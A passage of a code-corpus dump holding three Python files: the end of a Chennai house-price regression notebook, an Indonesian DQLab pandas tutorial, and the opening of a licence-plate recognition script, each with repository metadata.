y_pred)\n\n  # Display the accuracy of the model\n  print('Performance Metrics for', model_name, ':')\n  #print('[RMSE-Score Train]:', reg_train_rmse)\n  #print('[RMSE-Score Test]:', reg_test_rmse)\n  print('[R2-Score Train]:', reg_train_r2)\n  print('[R2-Score Test]:', reg_test_r2)\n\n  model_scores.append((model_name,\n                       reg_train_r2,\n                       reg_test_r2))\n\n  print('--------------------\\n')\n\nmodels = pd.DataFrame(data=model_scores, columns=['Model', '[R2-Score Train]', '[R2-Score Test]'])\nmodels\n\n# Plotting the RMSE scores for each model\nfig = plt.figure(figsize=(15,7))\nsns.barplot((models['[R2-Score Test]']), models['Model'], palette='rocket')\nplt.grid(b=True)\n\n\"\"\"### **8.2 Hyperpameter tuning**\n\n- In this section we will perform **hyperparameter tuning** and check how our models perform post tuning.\n\n- We will be using **Random Search** in order to find the best values.\n\n- We will consider **CatBoost Regressor** and **XGB Regresosor** as they have given best results\n\"\"\"\n\n# Creating a parameter grid for CatBoost Regressor\nparam_grid_cat  = {'iterations': [100, 150, 200],\n                   'learning_rate': [0.03, 0.1],\n                   'depth': [2, 4, 6, 8],\n                   'l2_leaf_reg': [0.2, 0.5, 1, 3]}\n\ncbr = CatBoostRegressor(random_state=42)\ngscv = RandomizedSearchCV(estimator = cbr,\n                          param_distributions = param_grid_cat,\n                          scoring ='r2',\n                          cv = 5)\ngscv.fit(X_train, y_train)\n\n# Printing metrics\nprint(\"[Hyperparameters]:\", gscv.best_params_)\nprint(\"[Train Score]:\", gscv.best_score_)\nprint(\"[Validation Score]:\", r2_score(y_test,\n                                      gscv.predict(X_test)))\n\n\"\"\"<a id=section7></a>\n\n---\n# **9. Test Set**\n---\n- We will use the **CatBoost regressor** as gives the best **R2 Score** among the three tuned models.\n\"\"\"\n\n# Predicting with the best fit parameters\nbest_fit = gscv.best_estimator_\nbest_fit.fit(X_train, y_train)\n\n# storing all best tvalues in to y_pred_tuned\ny_pred_tuned = best_fit.predict(X_test)\n\nfrom sklearn import metrics\nprint('R2 Score in Test data is : ',r2_score(y_test, y_pred_tuned))\n\n\"\"\"<a id=section7></a>\n\n---\n# **10. Making Pickle File**\n---\n- We can see that our model performs **really good** in **unseen data**.\n- Hence, we can say that our model is **Ready to Deploy**\n- For this we will have to import **pickle**\n- After that we need to form a **.pkl file**\n\"\"\"\n\nimport pickle\n# open a file, where you ant to store the data\nfile = open('chennai_house.pkl', 'wb')\n\n# dump information to that file\npickle.dump(best_fit, file)\n\n\"\"\"<a id=section7></a>\n\n---\n# **10. Conclusion**\n---\n\n- In this case study the given data was analysed and on top of that a **regression model** was built.\n\n- The model chosen for this case study was a **Catboost regressor** as it was retruning the least overfitting and best r2 score on **unseen data**\n\n- The **r2 score** genarated in unseen data was **0.99** which means that the modedl performs really good and is generalizing well on unseen data.\n\n- After modelling we dumped oue model into a pickle file and we can conclude that now our model is **ready to deploy**\n\"\"\"", "meta": {"hexsha": "523ebce8fb1fccac83b299496b50181bdecd9b45", "size": 23047, "ext": "py", "lang": "Python", "max_stars_repo_path": "Model/chennai_house_price_prediction_final_ipython_notebook_for_github_project_gallery_insaid.py", "max_stars_repo_name": "ghoshpronay18071997/chennai_house_price_real_estate_price_prediction", "max_stars_repo_head_hexsha": "23e7d3a00b44fc27c45c9dc561565fd5e8e7d60f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-16T15:27:34.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-16T15:27:34.000Z", "max_issues_repo_path": "Model/chennai_house_price_prediction_final_ipython_notebook_for_github_project_gallery_insaid.py", "max_issues_repo_name": "ghoshpronay18071997/chennai_house_price_real_estate_price_prediction", "max_issues_repo_head_hexsha": "23e7d3a00b44fc27c45c9dc561565fd5e8e7d60f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Model/chennai_house_price_prediction_final_ipython_notebook_for_github_project_gallery_insaid.py", "max_forks_repo_name": "ghoshpronay18071997/chennai_house_price_real_estate_price_prediction", "max_forks_repo_head_hexsha": "23e7d3a00b44fc27c45c9dc561565fd5e8e7d60f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.7201309329, "max_line_length": 212, "alphanum_fraction": 0.6087560203, "include": true, "reason": "import numpy,from scipy", "num_tokens": 5176, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.43398147944527615, "lm_q2_score": 0.19930799790404563, "lm_q1q2_score": 0.08649597979567372}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # [Memanggil Library Pandas](https://academy.dqlab.id/main/livecode/178/346/1682)\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\n\n\n# # [DataFrame & Series](https://academy.dqlab.id/main/livecode/178/346/1683)\n\n# In[2]:\n\n\nimport pandas as pd\n# Series\nnumber_list = pd.Series([1, 2, 3, 4, 5, 6])\nprint(\"Series:\")\nprint(number_list)\n# DataFrame\nmatrix = [[1, 2, 3],\n          ['a','b','c'],\n          [3, 4, 5],\n          ['d',4,6]]\nmatrix_list = pd.DataFrame(matrix)\nprint(\"DataFrame:\")\nprint(matrix_list)\n\n\n# # [Atribut DataFrame & Series - Part 1](https://academy.dqlab.id/main/livecode/178/346/1684)\n\n# In[3]:\n\n\nimport pandas as pd\n# Series\nnumber_list = pd.Series([1,2,3,4,5,6])\n# DataFrame\nmatrix_list = pd.DataFrame([[1,2,3],\n\t\t\t\t            ['a','b','c'],\n\t\t\t\t            [3,4,5],\n\t\t\t\t            ['d',4,6]])\n# [1] attribute .info()\nprint(\"[1] attribute .info()\")\nprint(matrix_list.info())\n# [2] attribute .shape\nprint(\"\\n[2] attribute .shape\")\nprint(\"    Shape dari number_list:\", number_list.shape)\nprint(\"    Shape dari matrix_list:\", matrix_list.shape)\n# [3] attribute .dtypes\nprint(\"\\n[3] attribute .dtypes\")\nprint(\"    Tipe data number_list:\", number_list.dtypes)\nprint(\"    Tipe data matrix_list:\", matrix_list.dtypes)\n# [4] attribute .astype()\nprint(\"\\n[4] attribute .astype()\")\nprint(\"    Konversi number_list ke str:\", number_list.astype(\"str\"))\nprint(\"    Konversi matrix_list ke str:\", matrix_list.astype(\"str\"))\n\n\n# # [Atribut DataFrame & Series - Part 2](https://academy.dqlab.id/main/livecode/178/346/1685)\n\n# In[4]:\n\n\nimport pandas as pd\n# Series\nnumber_list = pd.Series([1,2,3,4,5,6])\n# DataFrame\nmatrix_list = pd.DataFrame([[1,2,3],\n\t\t\t\t            ['a','b','c'],\n\t\t\t\t            [3,4,5],\n\t\t\t\t            ['d',4,6]])\n# [5] attribute .copy()\nprint(\"[5] attribute .copy()\")\nnum_list = number_list.copy()\nprint(\"    Copy number_list ke num_list:\", num_list)\nmtr_list = matrix_list.copy()\nprint(\"    Copy matrix_list ke mtr_list:\", mtr_list)\t\n# [6] attribute .to_list()\nprint(\"[6] attribute .to_list()\")\nprint(number_list.to_list())\n# [7] attribute .unique()\nprint(\"[7] attribute .unique()\")\nprint(number_list.unique())\n\n\n# # [Atribut DataFrame & Series - Part 3](https://academy.dqlab.id/main/livecode/178/346/1686)\n\n# In[5]:\n\n\nimport pandas as pd\n# Series\nnumber_list = pd.Series([1,2,3,4,5,6])\n# DataFrame\nmatrix_list = pd.DataFrame([[1,2,3],\n\t\t\t\t            ['a','b','c'],\n\t\t\t\t            [3,4,5],\n\t\t\t\t            ['d',4,6]])\n# [8] attribute .index\nprint(\"[8] attribute .index\")\nprint(\"    Index number_list:\", number_list.index)\nprint(\"    Index matrix_list:\", matrix_list.index)\t\n# [9] attribute .columns\nprint(\"[9] attribute .columns\")\nprint(\"    Column matrix_list:\", matrix_list.columns)\n# [10] attribute .loc\nprint(\"[10] attribute .loc\")\nprint(\"    .loc[0:1] pada number_list:\", number_list.loc[0:1])\nprint(\"    .loc[0:1] pada matrix_list:\", matrix_list.loc[0:1])\n# [11] attribute .iloc\nprint(\"[11] attribute .iloc\")\nprint(\"    iloc[0:1] pada number_list:\", number_list.iloc[0:1])\nprint(\"    iloc[0:1] pada matrix_list:\", matrix_list.iloc[0:1])\t\n\n\n# # [Creating Series & Dataframe from List](https://academy.dqlab.id/main/livecode/178/346/1688)\n\n# In[6]:\n\n\nimport pandas as pd\n# Creating series from list\nex_list = ['a',1,3,5,'c','d']\nex_series = pd.Series(ex_list)\nprint(ex_series)\n# Creating dataframe from list of list\nex_list_of_list = [[1, 'a', 'b', 'c'],\n                   [2.5, 'd', 'e', 'f'],\n\t\t           [5, 'g', 'h', 'i'],\n\t\t           [7.5, 'j', 10.5, 'l']]\nindex = ['dq', 'lab', 'kar', 'lan']\ncols = ['float', 'char', 'obj', 'char']\nex_df = pd.DataFrame(ex_list_of_list, index=index, columns=cols)\nprint(ex_df)\n\n\n# # [Creating Series & Dataframe from Dictionary](https://academy.dqlab.id/main/livecode/178/346/1689)\n\n# In[7]:\n\n\nimport pandas as pd\n# Creating series from dictionary\ndict_series = {'1':'a',\n\t\t\t   '2':'b',\n\t\t\t   '3':'c'}\nex_series = pd.Series(dict_series)\nprint(ex_series)\n# Creating dataframe from dictionary\ndf_series = {'1':['a','b','c'],\n             '2':['b','c','d'],\n             '4':[2,3,'z']}\nex_df = pd.DataFrame(df_series)\nprint(ex_df)\n\n\n# # [Creating Series & Dataframe from Numpy Array](https://academy.dqlab.id/main/livecode/178/346/1690)\n\n# In[9]:\n\n\n# import pandas as pd\nimport numpy as np\n# Creating series from numpy array (1D)\narr_series = np.array([1,2,3,4,5,6,6,7])\nex_series = pd.Series(arr_series)\nprint(ex_series)\n# Creating dataframe from numpy array (2D)\narr_df = np.array([[1, 2, 3, 5],\n                   [5, 6, 7, 8],\n                   ['a','b','c',10]])\nex_df = pd.DataFrame(arr_df)\nprint(ex_df)\n\n\n# # [Read Dataset - CSV dan TSV](https://academy.dqlab.id/main/livecode/178/347/1694)\n\n# In[10]:\n\n\nimport pandas as pd\n# File CSV\ndf_csv = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\nprint(df_csv.head(3)) # Menampilkan 3 data teratas\n# File TSV\ndf_tsv = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_tsv.tsv\", sep='\\t')\nprint(df_tsv.head(3)) # Menampilkan 3 data teratas\n\n\n# # [Read Dataset - Excel](https://academy.dqlab.id/main/livecode/178/347/1695)\n\n# In[11]:\n\n\nimport pandas as pd\n# File xlsx dengan data di sheet \"test\"\ndf_excel = pd.read_excel(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_excel.xlsx\", sheet_name=\"test\")\nprint(df_excel.head(4)) # Menampilkan 4 data teratas\n\n\n# # [Read Dataset - JSON](https://academy.dqlab.id/main/livecode/178/347/1698)\n\n# In[13]:\n\n\nimport pandas as pd\n# File JSON\nurl = \"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/covid2019-api-herokuapp-v2.json\"\ndf_json = pd.read_json(url)\nprint(df_json.head(10)) # Menampilkan 10 data teratas\n\n\n# # [Head & Tail](https://academy.dqlab.id/main/livecode/178/347/2143)\n\n# In[14]:\n\n\nimport pandas as pd\n# Baca file sample_csv.csv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\n# Tampilkan 3 data teratas\nprint(\"Tiga data teratas:\\n\", df.head(3))\n# Tampilkan 3 data terbawah\nprint(\"Tiga data terbawah:\\n\", df.tail(3))\n\n\n# # [Indexing - Part 2](https://academy.dqlab.id/main/livecode/178/429/2133)\n\n# In[15]:\n\n\nimport pandas as pd\n# Baca file TSV sample_tsv.tsv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_tsv.tsv\", sep=\"\\t\")\n# Index dari df\nprint(\"Index:\", df.index)\n# Column dari df\nprint(\"Columns:\", df.columns)\n\n\n# # [Indexing - Part 3](https://academy.dqlab.id/main/livecode/178/429/2134)\n\n# In[16]:\n\n\nimport pandas as pd\n# Baca file TSV sample_tsv.tsv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_tsv.tsv\", sep=\"\\t\")\n# Set multi index df\ndf_x = df.set_index(['order_date', 'city', 'customer_id'])\n# Print nama dan level dari multi index\nfor name, level in zip(df_x.index.names, df_x.index.levels):\n    print(name,':',level)\n\n\n# # [Indexing - Part 4](https://academy.dqlab.id/main/livecode/178/429/2135)\n\n# In[17]:\n\n\nimport pandas as pd\n# Baca file sample_tsv.tsv untuk 10 baris pertama saja\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_tsv.tsv\", sep=\"\\t\", nrows=10)\n# Cetak data frame awal\nprint(\"Dataframe awal:\\n\", df)\n# Set index baru\ndf.index = [\"Pesanan ke-\" + str(i) for i in range(1, 11)]\n# Cetak data frame dengan index baru\nprint(\"Dataframe dengan index baru:\\n\", df)\n\n\n# # [Indexing - Part 5](https://academy.dqlab.id/main/livecode/178/429/2138)\n\n# In[18]:\n\n\nimport pandas as pd\n# Baca file sample_tsv.tsv dan set lah index_col sesuai instruksi\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_tsv.tsv\", sep=\"\\t\", index_col=[\"order_date\",\"order_id\"])\n# Cetak data frame untuk 8 data teratas\nprint(\"Dataframe:\\n\", df.head(8))\n\n\n# # [Slicing - Part 1](https://academy.dqlab.id/main/livecode/178/429/2136)\n\n# In[19]:\n\n\nimport pandas as pd\n# Baca file sample_csv.csv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\n# Slice langsung berdasarkan kolom\ndf_slice = df.loc[(df[\"customer_id\"] == \"18055\") &\n\t\t          (df[\"product_id\"].isin([\"P0029\",\"P0040\",\"P0041\",\"P0116\",\"P0117\"]))]\nprint(\"Slice langsung berdasarkan kolom:\\n\", df_slice)\n\n\n# # [Slicing - Part 2](https://academy.dqlab.id/main/livecode/178/429/2139)\n\n# In[20]:\n\n\nimport pandas as pd\n# Baca file sample_csv.csv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\n# Set index dari df sesuai instruksi\ndf = df.set_index([\"order_date\",\"order_id\",\"product_id\"])\n# Slice sesuai intruksi\ndf_slice = df.loc[(\"2019-01-01\",1612339,[\"P2154\",\"P2159\"]),:]\nprint(\"Slice df:\\n\", df_slice)\n\n\n# # [Transforming - Part 1](https://academy.dqlab.id/main/livecode/178/429/2142)\n\n# In[21]:\n\n\nimport pandas as pd\n# Baca file sample_csv.csv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\n# Tampilkan tipe data\nprint(\"Tipe data df:\\n\", df.dtypes)\n# Ubah tipe data kolom order_date menjadi datetime\ndf[\"order_date\"] = pd.to_datetime(df[\"order_date\"]) \n# Tampilkan tipe data df setelah transformasi\nprint(\"\\nTipe data df setelah transformasi:\\n\", df.dtypes)\n\n\n# # [Transforming - Part 2](https://academy.dqlab.id/main/livecode/178/429/2144)\n\n# In[22]:\n\n\nimport pandas as pd\n# Baca file sample_csv.csv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\n# Tampilkan tipe data\nprint(\"Tipe data df:\\n\", df.dtypes)\n# Ubah tipe data kolom quantity menjadi tipe data numerik float\ndf[\"quantity\"] = pd.to_numeric(df[\"quantity\"], downcast=\"float\")\n# Ubah tipe data kolom city menjadi tipe data category\ndf[\"city\"] = df[\"city\"].astype(\"category\")\n# Tampilkan tipe data df setelah transformasi\nprint(\"\\nTipe data df setelah transformasi:\\n\", df.dtypes)\n\n\n# # [Transforming - Part 3](https://academy.dqlab.id/main/livecode/178/429/2145)\n\n# In[23]:\n\n\nimport pandas as pd\n# Baca file sample_csv.csv\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/sample_csv.csv\")\n# Cetak 5 baris teratas kolom brand\nprint(\"Kolom brand awal:\\n\", df[\"brand\"].head())\n# Gunakan method apply untuk merubah isi kolom menjadi lower case\ndf[\"brand\"] = df[\"brand\"].apply(lambda x: x.lower())\n# Cetak 5 baris teratas kolom brand\nprint(\"Kolom brand setelah apply:\\n\", df[\"brand\"].head())\n# Gunakan method map untuk mengambil kode brand yaitu karakter terakhirnya\ndf[\"brand\"] = df[\"brand\"].map(lambda x: x[-1])\n# Cetak 5 baris teratas kolom brand\nprint(\"Kolom brand setelah map:\\n\", df[\"brand\"].head())\n\n\n# # [Transforming - Part 4](https://academy.dqlab.id/main/livecode/178/429/2146)\n\n# In[24]:\n\n\nimport numpy as np\nimport pandas as pd\n# number generator, set angka seed menjadi suatu angka, bisa semua angka, supaya hasil random nya selalu sama ketika kita run\nnp.random.seed(1234)\n# create dataframe 3 baris dan 4 kolom dengan angka random\ndf_tr = pd.DataFrame(np.random.rand(3,4)) \n# Cetak dataframe\nprint(\"Dataframe:\\n\", df_tr)\n# Cara 1 dengan tanpa define function awalnya, langsung pake fungsi anonymous lambda x\ndf_tr1 = df_tr.applymap(lambda x: x**2 + 3*x + 2) \nprint(\"\\nDataframe - cara 1:\\n\", df_tr1)\n# Cara 2 dengan define function \ndef qudratic_fun(x):\n\treturn x**2 + 3*x + 2\ndf_tr2 = df_tr.applymap(qudratic_fun)\nprint(\"\\nDataframe - cara 2:\\n\", df_tr2)\n\n\n# # [Inspeksi Missing Value](https://academy.dqlab.id/main/livecode/178/430/2148)\n\n# In[25]:\n\n\nimport pandas as pd\n# Baca file \"public data covid19 jhu csse eu.csv\"\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/CHAPTER+4+-+missing+value+-+public+data+covid19+.csv\")\n# Cetak info dari df\nprint(df.info())\n# Cetak jumlah missing value di setiap kolom\nmv = df.isna().sum()\nprint(\"\\nJumlah missing value per kolom:\\n\", mv)\n\n\n# # [Treatment untuk Missing Value - Part 2](https://academy.dqlab.id/main/livecode/178/430/2150)\n\n# In[26]:\n\n\nimport pandas as pd\n# Baca file \"public data covid19 jhu csse eu.csv\"\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/CHAPTER+4+-+missing+value+-+public+data+covid19+.csv\")\n# Cetak ukuran awal dataframe\nprint(\"Ukuran awal df: %d baris, %d kolom.\" % df.shape)\n# Drop kolom yang seluruhnya missing value dan cetak ukurannya\ndf = df.dropna(axis=1, how=\"all\")\nprint(\"Ukuran df setelah buang kolom dengan seluruh data missing: %d baris, %d kolom.\" % df.shape)\n# Drop baris jika ada satu saja data yang missing dan cetak ukurannya\ndf = df.dropna(axis=0, how=\"any\")\nprint(\"Ukuran df setelah dibuang baris yang memiliki sekurangnya 1 missing value: %d baris, %d kolom.\" % df.shape)\n\n\n# # [Treatment untuk Missing Value - Part 3](https://academy.dqlab.id/main/livecode/178/430/2152)\n\n# In[27]:\n\n\nimport pandas as pd\n# Baca file \"public data covid19 jhu csse eu.csv\"\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/CHAPTER+4+-+missing+value+-+public+data+covid19+.csv\")\n# Cetak unique value pada kolom province_state\nprint(\"Unique value awal:\\n\", df[\"province_state\"].unique())\n# Ganti missing value dengan string \"unknown_province_state\"\ndf[\"province_state\"] = df[\"province_state\"].fillna(\"unknown_province_state\")\n# Cetak kembali unique value pada kolom province_state\nprint(\"Unique value setelah fillna:\\n\", df[\"province_state\"].unique())\n\n\n# # [Treatment untuk Missing Value - Part 4](https://academy.dqlab.id/main/livecode/178/430/2151)\n\n# In[28]:\n\n\nimport pandas as pd\n# Baca file \"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/CHAPTER+4+-+missing+value+-+public+data+covid19+.csv\"\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/CHAPTER+4+-+missing+value+-+public+data+covid19+.csv\")\n# Cetak nilai mean dan median awal\nprint(\"Awal: mean = %f, median = %f.\" % (df[\"active\"].mean(), df[\"active\"].median()))\n# Isi missing value kolom active dengan median\ndf_median = df[\"active\"].fillna(df[\"active\"].median())\n# Cetak nilai mean dan median awal setelah diisi dengan median\nprint(\"Fillna median: mean = %f, median = %f.\" % (df_median.mean(), df_median.median()))\n# Isi missing value kolom active dengan mean\ndf_mean = df[\"active\"].fillna(df[\"active\"].mean())\n# Cetak nilai mean dan median awal setelah diisi dengan mean\nprint(\"Fillna mean: mean = %f, median = %f.\" % (df_mean.mean(), df_mean.median())) \n\n\n# # [Treatment untuk Missing Value - Part 5](https://academy.dqlab.id/main/livecode/178/430/2155)\n\n# In[29]:\n\n\nimport numpy as np\nimport pandas as pd\n# Data\nts = pd.Series({\n   \"2020-01-01\":9,\n   \"2020-01-02\":np.nan,\n   \"2020-01-05\":np.nan,\n   \"2020-01-07\":24,\n   \"2020-01-10\":np.nan,\n   \"2020-01-12\":np.nan,\n   \"2020-01-15\":33,\n   \"2020-01-17\":np.nan,\n   \"2020-01-16\":40,\n   \"2020-01-20\":45,\n   \"2020-01-22\":52,\n   \"2020-01-25\":75,\n   \"2020-01-28\":np.nan,\n   \"2020-01-30\":np.nan\n})\n# Isi missing value menggunakan interpolasi linier\nts = ts.interpolate()\n# Cetak time series setelah interpolasi linier\nprint(\"Setelah diisi missing valuenya:\\n\", ts)\n\n\n# # [Project dari Andra](https://academy.dqlab.id/main/livecode/178/431/2156)\n\n# In[30]:\n\n\nimport pandas as pd\n\n# 1. Baca dataset\nprint(\"[1] BACA DATASET\")\ndf = pd.read_csv(\"https://dqlab-dataset.s3-ap-southeast-1.amazonaws.com/retail_raw_test.csv\", low_memory=False)\nprint(\" Dataset:\\n\", df.head())\nprint(\" Info:\\n\", df.info())\n\n# 2. Ubah tipe data\nprint(\"\\n[2] UBAH TIPE DATA\")\ndf[\"customer_id\"] = df[\"customer_id\"].apply(lambda x: x.split(\"'\")[1]).astype(\"int64\")\ndf[\"quantity\"] = df[\"quantity\"].apply(lambda x: x.split(\"'\")[1]).astype(\"int64\")\ndf[\"item_price\"] = df[\"item_price\"].apply(lambda x: x.split(\"'\")[1]).astype(\"int64\")\nprint(\" Tipe data:\\n\", df.dtypes)\n\n# 3. Transform \"product_value\" supaya bentuknya seragam dengan format \"PXXXX\", assign ke kolom baru \"product_id\", dan drop kolom \"product_value\", jika terdapat nan gantilah dengan \"unknown\"\nprint(\"\\n[3] TRANSFORM product_value MENJADI product_id\")\n# Buat fungsi\nimport math\ndef impute_product_value(val):\n    if math.isnan(val):\n        return \"unknown\"\n    else:\n        return 'P' + '{:0>4}'.format(str(val).split('.')[0])\n# Buat kolom \"product_id\"\ndf[\"product_id\"] = df[\"product_value\"].apply(lambda x: impute_product_value(x))\n# Hapus kolom \"product_value\"\ndf.drop([\"product_value\"], axis=1, inplace=True)\n# Cetak 5 data teratas\nprint(df.head())\n\n# 4. Tranform order_date menjadi value dengan format \"YYYY-mm-dd\"\nprint(\"\\n[4] TRANSFORM order_date MENJADI FORMAT YYYY-mm-dd\")\nmonths_dict = {\n   \t\"Jan\":\"01\",\n\t\"Feb\":\"02\",\n\t\"Mar\":\"03\",\n\t\"Apr\":\"04\",\n\t\"May\":\"05\",\n\t\"Jun\":\"06\",\n\t\"Jul\":\"07\",\n\t\"Aug\":\"08\",\n\t\"Sep\":\"09\",\n\t\"Oct\":\"10\",\n\t\"Nov\":\"11\",\n\t\"Dec\":\"12\"\n}\ndf[\"order_date\"] = pd.to_datetime(df[\"order_date\"].apply(lambda x: str(x)[-4:] + \"-\" + months_dict[str(x)[:3]] + \"-\" + str(x)[4:7]))\nprint(\" Tipe data:\\n\", df.dtypes)\n\n# 5. Mengatasi data yang hilang di beberapa kolom\nprint(\"\\n[5] HANDLING MISSING VALUE\")\n# Kolom \"city\" dan \"province\" masih memiliki missing value, nilai yang hilang di kedua kolom ini diisi saja dengan \"unknown\"\ndf[[\"city\",\"province\"]] = df[[\"city\",\"province\"]].fillna(\"unknown\")\n# Kolom brand juga masih memiliki missing value, Ganti value NaN menjadi \"no_brand\"\ndf[\"brand\"] = df[\"brand\"].fillna(\"no_brand\")\n# Cek apakah masih terdapat missing value di seluruh kolom\nprint(\" Info:\\n\", df.info())\n\n# 6. Membuat kolom baru \"city/province\" dengan menggabungkan kolom \"city\" dan kolom \"province\" dan delete kolom asalnya\nprint(\"\\n[6] MEMBUAT KOLOM BARU city/province\")\ndf[\"city/province\"] = df[\"city\"] + \"/\" + df[\"province\"]\n# drop kolom \"city\" dan \"province\" karena telah digabungkan\ndf.drop([\"city\",\"province\"], axis=1, inplace=True)\n# Cetak 5 data teratas\nprint(df.head())\n\n# 7. Membuat hierarchical index yang terdiri dari kolom \"city/province\", \"order_date\", \"customer_id\", \"order_id\", \"product_id\"\nprint(\"\\n[7] MEMBUAT HIERACHICAL INDEX\")\ndf = df.set_index([\"city/province\",\"order_date\",\"customer_id\",\"order_id\",\"product_id\"])\n# urutkanlah berdasarkan index yang baru\ndf = df.sort_index()\n# Cetak 5 data teratas\nprint(df.head())\n\n# 8. Membuat kolom \"total_price\" yang formula nya perkalian antara kolom \"quantity\" dan kolom \"item_price\"\nprint(\"\\n[8] MEMBUAT KOLOM total_price\")\ndf[\"total_price\"] = df[\"quantity\"] * df[\"item_price\"]\n# Cetak 5 data teratas\nprint(df.head())\n\n# 9. Slice dataset agar hanya terdapat data bulan Januari 2019\nprint(\"\\n[9] SLICE DATASET UNTUK BULAN JANUARI 2019 SAJA\")\nidx = pd.IndexSlice\ndf_jan2019 = df.loc[idx[:, \"2019-01-01\":\"2019-01-31\"],:]\nprint(\"Dataset akhir:\\n\", df_jan2019)\n\n# END OF PROJECT\n\n", "meta": {"hexsha": "04d1d1998e9f24482e991952340e036365cd42f5", "size": 18350, "ext": "py", "lang": "Python", "max_stars_repo_path": "Learn/Python/Fundamental/Data Manipulation with Pandas - Part 1/Data Manipulation with Pandas - Part 1.py", "max_stars_repo_name": "IrvanKurnia213/DQLab", "max_stars_repo_head_hexsha": "13469ea4fba29228ac04ce64a9b9a2adeeaf14d1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 22, "max_stars_repo_stars_event_min_datetime": "2021-04-06T02:20:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T11:47:26.000Z", "max_issues_repo_path": "Learn/Python/Fundamental/Data Manipulation with Pandas - Part 1/Data Manipulation with Pandas - Part 1.py", "max_issues_repo_name": "IrvanKurnia213/DQLab", "max_issues_repo_head_hexsha": "13469ea4fba29228ac04ce64a9b9a2adeeaf14d1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-02-08T04:58:25.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-08T04:58:25.000Z", "max_forks_repo_path": "Learn/Python/Fundamental/Data Manipulation with Pandas - Part 1/Data Manipulation with Pandas - Part 1.py", "max_forks_repo_name": "IrvanKurnia213/DQLab", "max_forks_repo_head_hexsha": "13469ea4fba29228ac04ce64a9b9a2adeeaf14d1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 50, "max_forks_repo_forks_event_min_datetime": "2021-03-31T10:32:55.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-15T11:04:35.000Z", "avg_line_length": 31.2606473595, "max_line_length": 189, "alphanum_fraction": 0.685013624, "include": true, "reason": "import numpy,from numpy", "num_tokens": 5780, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.19930800266002902, "lm_q1q2_score": 0.0864959789415387}}
{"text": "import numpy as np\nfrom skimage.transform import resize\nfrom skimage import measure\nfrom skimage.measure import regionprops\nimport matplotlib.patches as patches\nimport matplotlib.pyplot as plt\nfrom skimage.color import rgb2gray\n\nfrom skimage.io import imread\nfrom skimage.filters import threshold_otsu\nimport sys\nimport pytesseract\nimport cv2\nfrom PIL import Image\n\n\nfrom skimage import measure\nfrom skimage.measure import regionprops\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\n\nfilenames = sys.argv[1:]\n\nindex = 1260\n\nfor filename in filenames:\n    plate_like_objects = []\n    print(filename)\n    file_splits = filename.split('.')\n    if len(file_splits) < 2:\n        continue\n    file_type = file_splits[1]\n    if not file_type == 'jpg':\n        continue\n\n    import cv2\n    cap = cv2.VideoCapture(filename)\n    # cap = cv2.VideoCapture(0)\n    count = 0\n    while cap.isOpened():\n        ret,frame = cap.read()\n        if ret == True:\n            # cv2.imshow('window-name',frame)\n            cv2.imwrite(\"./output/frame%d.jpg\" % count, frame)\n            count = count + 1\n            if cv2.waitKey(10) & 0xFF == ord('q'):\n                break\n        else:\n            break\n    cap.release()\n    cv2.destroyAllWindows()\n\n    # car image -> grayscale image -> binary image\n    import imutils\n    car_image = imread(\"./output/frame%d.jpg\"%(count-1), as_gray=True)\n    print(car_image.shape)\n\n    gray_car_image = car_image * 255\n    # fig, (ax1, ax2) = plt.subplots(1, 2)\n    # ax1.imshow(gray_car_image, cmap=\"gray\")\n    threshold_value = threshold_otsu(gray_car_image)\n    binary_car_image = gray_car_image > threshold_value\n\n\n    # this gets all the connected regions and groups them together\n    label_image = measure.label(binary_car_image)\n\n    # print(label_image.shape[0]) #width of car 